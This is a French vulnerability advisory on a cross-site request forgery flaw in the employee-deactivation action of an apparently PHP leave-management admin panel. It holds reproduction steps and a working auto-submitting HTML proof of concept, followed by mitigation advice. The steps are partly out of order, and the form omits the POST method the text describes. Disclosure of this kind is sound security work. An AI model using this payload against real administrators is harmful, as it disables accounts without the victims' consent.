
La fonctionnalité Gérer les employés est vulnérable à la falsification de requête intersite (CSRF).
Un attaquant peut inciter un administrateur connecté à envoyer une requête forgée qui désactive un employé (par exemple inid=1) sans que l’administrateur en ait connaissance ou n’y consente.
Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Module : Panneau d’administration → Employés → Gérer les employés
Action : Désactiver un employé (via le paramètre inid)
Se connecter en tant qu’administrateur
/admin et connectez-vous avec des identifiants administrateur valides.
Ouvrir Gérer les employés

Intercepter la requête de désactivation
Activez l’interception dans votre proxy (par exemple Burp Suite).
Cliquez sur Inactif pour un employé et capturez la requête qui désactive l’utilisateur.
Notez le paramètre inid dans la requête (par exemple inid=1).

Générer un PoC CSRF
inid=1 pour désactiver l’utilisateur 1.
Déclencher le CSRF en tant que victime
Hébergez ou ouvrez le PoC HTML dans un navigateur.
Voici une preuve de concept typique supposant une requête
POSTavec le paramètreinid:
<html>
<body>
<form action="http://localhost/elms/admin/manageemployee.php">
<input type="hidden" name="inid" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Enregistrez ce fichier sous csrf_inactivate_emp1.html.
Envoyez/hébergez ce fichier et faites en sorte qu’un administrateur authentifié le charge et clique sur le bouton.
Un attaquant peut forcer un administrateur authentifié à désactiver des employés arbitraires en l’incitant à visiter une page malveillante.
Cela peut conduire à :
Désactivation non autorisée de comptes, affectant la disponibilité des comptes utilisateurs.
Perturbation opérationnelle (par exemple, des employés désactivés pendant des opérations critiques).
Abus potentiel combiné à d’autres vulnérabilités (par exemple, désactivation de certains comptes de surveillance ou privilégiés).
L’attaque nécessite uniquement :
L’administrateur soit connecté, et
L’administrateur visite une URL/page malveillante contrôlée par l’attaquant (hameçonnage, iframe intégrée, lien malveillant, etc.).
Étant donné que cela manipule directement la gestion des utilisateurs dans le portail d’administration, ce problème doit être considéré comme de gravité élevée.
Implémenter des jetons de protection CSRF
Ajoutez un jeton CSRF imprévisible et cryptographiquement sûr à toutes les requêtes modifiant l’état (par exemple, désactivation, suppression, mises à jour).
Intégrez le jeton dans les formulaires en tant que champ masqué.
Côté serveur, validez :
La présence du jeton,
La validité du jeton, et
L’association du jeton à la session utilisateur actuelle.
Rejetez la requête si le jeton est absent ou invalide.
Utiliser des cookies SameSite
Définissez les cookies de session avec SameSite=Lax ou, de préférence, SameSite=Strict lorsque c’est possible.
Cela empêche l’envoi automatique des cookies lors de requêtes intersites, réduisant ainsi le risque de CSRF.
Appliquer des méthodes HTTP appropriées
Assurez-vous que toutes les opérations modifiant l’état (comme la désactivation d’un employé) utilisent POST (ou PUT/DELETE) plutôt que GET.
N’acceptez pas les changements d’état sensibles via les paramètres GET.
Valider les en-têtes Origin / Referer
Sur les endpoints sensibles, vérifiez l’en-tête Origin ou Referer pour vous assurer que les requêtes proviennent de domaines de confiance.
Si l’en-tête est manquant ou provient d’une origine non fiable, rejetez la requête.
Durcissement de l’interface / du flux de travail
Ajoutez des flux de confirmation côté serveur ou de ré-authentification pour les actions sensibles (par exemple, la désactivation d’utilisateurs ayant des rôles d’administrateur).
Pendant que l’administrateur est connecté à l’application, s’il visite cette page PoC et soumet le formulaire, l’utilisateur 1 sera désactivé.

Vérifier l’effet
Revenez au tableau de bord administrateur → Gérer les employés.
Observez que l’utilisateur 1 est maintenant marqué comme Inactif.

Implémentez des contrôles d’autorisation appropriés pour garantir que seuls les rôles prévus peuvent effectuer l’action, même en cas de tentative de CSRF.
Tests de sécurité
Intégrez des contrôles CSRF dans les tests de sécurité réguliers (manuels et automatisés).
Retestez ce endpoint (et les endpoints similaires) après avoir implémenté les protections pour vérifier que le PoC ne fonctionne plus.